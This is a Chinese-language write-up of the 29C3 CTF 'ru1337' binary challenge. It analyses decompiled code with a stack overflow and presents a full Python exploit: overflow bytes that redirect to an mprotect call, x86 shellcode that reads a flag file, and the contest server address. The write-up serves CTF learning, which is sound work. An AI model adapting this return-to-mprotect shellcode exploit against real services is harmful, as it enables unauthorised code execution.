29C3ctf_exp200_ru1337_writeup

ru1337 为32位linux程序。ru1337

程序执行:

D:\nc 94.45.252.242 1024
ID PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Password: aaaaaaaaaa
u r not s0 1337zz!!!

依据结果我们找到如下函数:

char *__cdecl main_recv_sub_80487E1()

{

char *result; // eax@1

char s; // [sp+24h] [bp-94h]@1

char v2[8]; // [sp+A4h] [bp-14h]@1

int i; // [sp+ACh] [bp-Ch]@2

memset(v2, 0, 8u);

memset(&s, 0, 8u);

result = mmap(0xBADC0DE, 0x88u, 3, 34, 0, 0);

dest = result;

if ( result != -1 )

{

send(fd, “ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: “, 0x4Fu, 0);

recv(fd, v2, 44u, 0);

for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i )

{

if ( !((*__ctype_b_loc())[v2[i]] & 0×400) )

{

close(fd);

exit(0);

}

}

send(fd, “Password: “, 0xAu, 0);

recv(fd, &s, 128u, 0);

strcpy(dest, v2);

strcpy(dest + 8, &s);

dup2(fd, 0);

dup2(fd, 1);

result = dup2(fd, 2);

}

return result;

}

内存结果如下:

0xBADC0DE

user
8bytes passwd

return-to-lib-c exploit。user 可以覆盖 ebp、retn address 及后面的8个字节。

注意到0x80487d9处有一个 call _mprotect,我们可以把申请到的内存空间 0xbadc000 的属性改为可执行。

于是在栈上构造 mprotect 的参数 mprotect(0xbadc000, 0×88, PROT_EXEC PROT_READ PROT_WRITE),然后把 shellcode 通过 password 写进去,跳过去执行就可以了。

shellcode使用/bin/sh并不能正确输出

于是使用/bin/cat flag

-- coding: utf-8 --

import struct, time, socket, sys

ip=’94.45.252.242’

shellcode = “\x31\xc9\x31\xc0\xb0\x05\x51\x68\x66\x6c\x61\x67\x89\xe3\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x89\xe2\x89\xd1\x31\xd2\xb2\xff\xcd\x80\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x89\xe1\x31\xd2\xb2\xff\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80”

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)

s.connect((ip, 1024))

print s.recv(1024)

aaa=”A” * 20

aaa+=”\x08\xc0\xad\x0b” #ebp 0x0badc000 + 8

aaa+=”\xd9\x87\x04\x08” #mprotect_call

aaa+=”\x00\xc0\xad\x0b” #arg1 0xbadc000

aaa+=”\xff\x00\x00\x00” #参数2 大小

aaa+=”\x07\x00\x00\x00” #参数3 添加可执行权限

s.send(aaa)

print s.recv(1024)

bbb=”\x90”*4 #

bbb+=”\x10\xc0\xad\x0b” #0xbadc010 指向shellcode

bbb+=shellcode

s.send(bbb)

print s.recv(1024)

最后提一句,这个 bin 本来不能在栈上执行的,但是 Backtrack 默认情况下没有开 NX(栈保护)。

所以不用mprotect开启E位也可以执行。需要注意用readelf检查属性

同时可以一开始就尝试用\x41 %%%%等暴力尝试。减少读代码时间。